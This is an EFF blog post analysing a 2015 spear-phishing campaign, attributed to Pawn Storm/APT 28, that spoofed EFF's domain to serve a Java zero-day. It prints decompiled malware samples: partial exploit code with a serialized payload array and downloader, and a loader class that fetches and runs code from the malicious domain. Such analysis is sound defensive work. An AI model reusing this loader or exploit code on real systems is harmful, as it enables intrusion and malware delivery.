# New Spear Phishing Campaign Pretends to be EFF

By Cooper Quintin

Published: 2015-08-27 · Archived: 2026-04-05 15:38:01 UTC

> **Update 01/28/16:** EFF now controls the Electronicfrontierfoundation.org domain and that URL currently redirects to this blog post. If you arrived at this page via a link in a message that may have been phishing, please let us know and we will investigate.

Google's security team recently identified a new domain masquerading as an official EFF site as part of a targeted malware campaign. That domain, electronicfrontierfoundation.org, is designed to trick users into a false sense of trust and it appears to have been used in a spear phishing attack, though it is unclear who the intended targets were. The domain was registered on August 4, 2015, under a presumably false name, and we suspect that the attack started on the same day. At the time of this writing the domain is still serving malware.

Electronicfrontierfoundation.org was not the only domain involved in this attack. It seems to be part of a larger campaign, known as “Pawn Storm”. The current phase of the Pawn Storm attack campaign started a little over a month ago, and the overall campaign was first identified in an October 2014 report from Trend Micro (PDF). The group behind the attacks is possibly associated with the Russian government and has been active since at least 2007.

The attack is relatively sophisticated—it uses a recently discovered Java exploit, the first known Java zero-day in two years. The attacker sends the target a spear phishing email containing a link to a unique URL on the malicious domain (in this case electronicfrontierfoundation.org). When visited, the URL will redirect the user to another unique URL in the form of `http://electronicfrontierfoundation.org/url/{6_random_digits}/Go.class` containing a Java applet which exploits a vulnerable version of Java. Once the URL is used and the Java payload is received, the URL is disabled and will no longer deliver malware (presumably to make life harder for malware analysts). The attacker, now able to run any code on the user's machine due to the Java exploit, downloads a second payload, which is a binary program to be executed on the target's computer.

We were able to recover the following samples of the malicious Java code from electronicfrontierfoundation.org.

| Filename | MD5 Sum | SHA1 Sum |
|---|---|---|
| App.class | 0c345969a5974e8b1ec6a5e23b2cf777 | 95dc765700f5af406883d07f165011d2ff8dd0fb |
| Go.class | 25833224c2cb8050b90786d45f29160c | df5f038d78f5934bd79d235b4d257bba33e6b3 |

```java
public class App
extends Applet
implements ObjectStreamConstants {
    static Help[] array = new Help[]{null};
    private static final int BUFFER_SIZE = 4096;


    // HERE BE OH-DAYZ
    static final Object[] _DATA = new Object[]{-21267, 5, Byte.valueOf(115), Byte.valueOf(114), AtomicReferenceArray.class.getName(),
-6209656149925076980L, Byte.valueOf(2), 1, Byte.valueOf(91), "array", Byte.valueOf(116), "[Ljava/lang/Object;", Byte.valueOf(120), Byte.valueOf
(114), "pkg.None2", 9996, Byte.valueOf(2), 1, Byte.valueOf(73), "i", Byte.valueOf(120), Byte.valueOf(114), "pkg.None", 999, Byte.valueOf(2), 1,
Byte.valueOf(76), "notimportant", Byte.valueOf(116), "LPhantomSuper;", Byte.valueOf(120), Byte.valueOf(112), Byte.valueOf(115), Byte.valueOf(114),
PhantomSuper.class.getName(), 1111, Byte.valueOf(2), 0, Byte.valueOf(120), Byte.valueOf(112), 1094795585, Byte.valueOf(117), Byte.valueOf(114),
new Serializable[0].getClass().getName(), 5475560301672258359L, Byte.valueOf(2), 0, Byte.valueOf(120), Byte.valueOf(112), 2, Byte.valueOf(113),
8257543, Byte.valueOf(115), Byte.valueOf(114), ArrayReplace.class.getName(), 666, Byte.valueOf(2), 1, Byte.valueOf(76), "ara", Byte.valueOf(116),
"Ljava/util/concurrent.atomic.AtomicReferenceArray;", Byte.valueOf(120), Byte.valueOf(112), Byte.valueOf(113), 8257541, Byte.valueOf(120)};



    static boolean allowSetRefCall = false;
    static boolean block = true;
    static ObjectInputStream ois = null;
    static AtomicReferenceArray ara = null;

    //Simple file downloader method
    public static void downloadFile(String fileURL, String saveDir) throws IOException {
        URL url = new URL(fileURL);
        HttpURLConnection httpConn = (HttpURLConnection)url.openConnection();
        int responseCode = httpConn.getResponseCode();
        if (responseCode == 200) {
            String fileName = "";
            String disposition = httpConn.getHeaderField("Content-Disposition");
            String contentType = httpConn.getContentType();
            int contentLength = httpConn.getContentLength(); if (disposition != null) {
                int index = disposition.indexOf("filename=");
                if (index > 0) {
                    fileName = disposition.substring(index + 10, disposition.length() - 1);
                }
            } else {
                fileName = fileURL.substring(fileURL.lastIndexOf("/") + 1, fileURL.length());
            }
            System.out.println("Content-Type = " + contentType);
```

The decompiled Java for App.class

```java
import java.applet.Applet;
import java.io.PrintStream;
import java.net.URL;
import java.net.URLClassLoader;

public class Go
{
  static
  {
    //There seem to be a number of debugging statements left in this code
    System.out.println("GOGOGOGO");
    try
    {
      ClassLoader cl = URLClassLoader.newInstance(new URL[] { new URL("http://electronicfrontierfoundation.org/2/") });
      System.out.println(Go.class.getClassLoader().getClass());
      Applet app = (Applet)cl.loadClass("App").newInstance(); //get App.class
      System.out.println("Starting Applet");
      app.start(); //run App.class
      for (;;)
      {
        Thread.sleep(100L); //sleep forever
      }
    }
    catch (Exception e)
    {
      // More debugging statements?
      e.printStackTrace();
    }
  }

  public Go()
  {
    // Debugging print statements still in code?
    System.out.println("Construct");
  }
}
```

The decompiled Java for App.class

The Go.class applet bootstraps and executes App.class, which contains the actual attack code. The App.class payload exploits the same Java zero-day reported by Trend Micro and then downloads a second stage binary, internally called cormac.mcr, to the user's home directory and renames it to a randomly chosen string ending in `.exe`. Interestingly, App.class contains code to download a *nix compatible second stage binary if necessary, implying that this attack is able to potentially target Mac or Linux users.

Unfortunately we weren't able to retrieve the second stage binary, however this is the same path and filename that has been used in other Pawn Storm attacks, which suggests that it is likely to be the same payload: the malware known as Sednit. On Windows, the Sednit payload is downloaded to the logged-in user's home directory with a randomly generated filename and executed. On running it hooks a variety of services and downloads a DLL file. The DLL file is executed and connects to a command and control server where it appears to verify the target and then execute a keylogger or other modules as may be required by the attacker.

Because this attack used the same path names, Java payloads, and Java exploit that have been used in other attacks associated with Pawn Storm, we can conclude that this attack is almost certainly being carried out by the same group responsible for the rest of the Pawn Storm attacks. Other security researchers have linked the Pawn Storm campaign with the original Sednit and Sofacy targeted malware campaigns–also known as “APT 28”–citing the fact that they use the same custom malware and have similar targets. In a 2014 paper the security company FireEye linked the “APT 28” group behind Sednit/Sofacy with the Russian Government (PDF) based on technical evidence, technical sophistication, and targets chosen. Drawing from these conclusions, it seems likely that the organization behind the fake-EFF phishing attack also has ties to the Russian government. Past attacks have targeted Russian dissidents and journalists, U.S. Defense Contractors, NATO forces, and White House staff. We do not know who the targets were for this particular attack, but it does not appear that it was EFF staff.

The phishing domain has been reported for abuse–though it is still active, and the vulnerability in Java has been patched by Oracle. Of course this is an excellent reminder for everyone to be vigilant against phishing attacks. Our SSD guide contains advice on how to improve your security, watch for malicious emails, and avoid phishing attacks such as this one.

---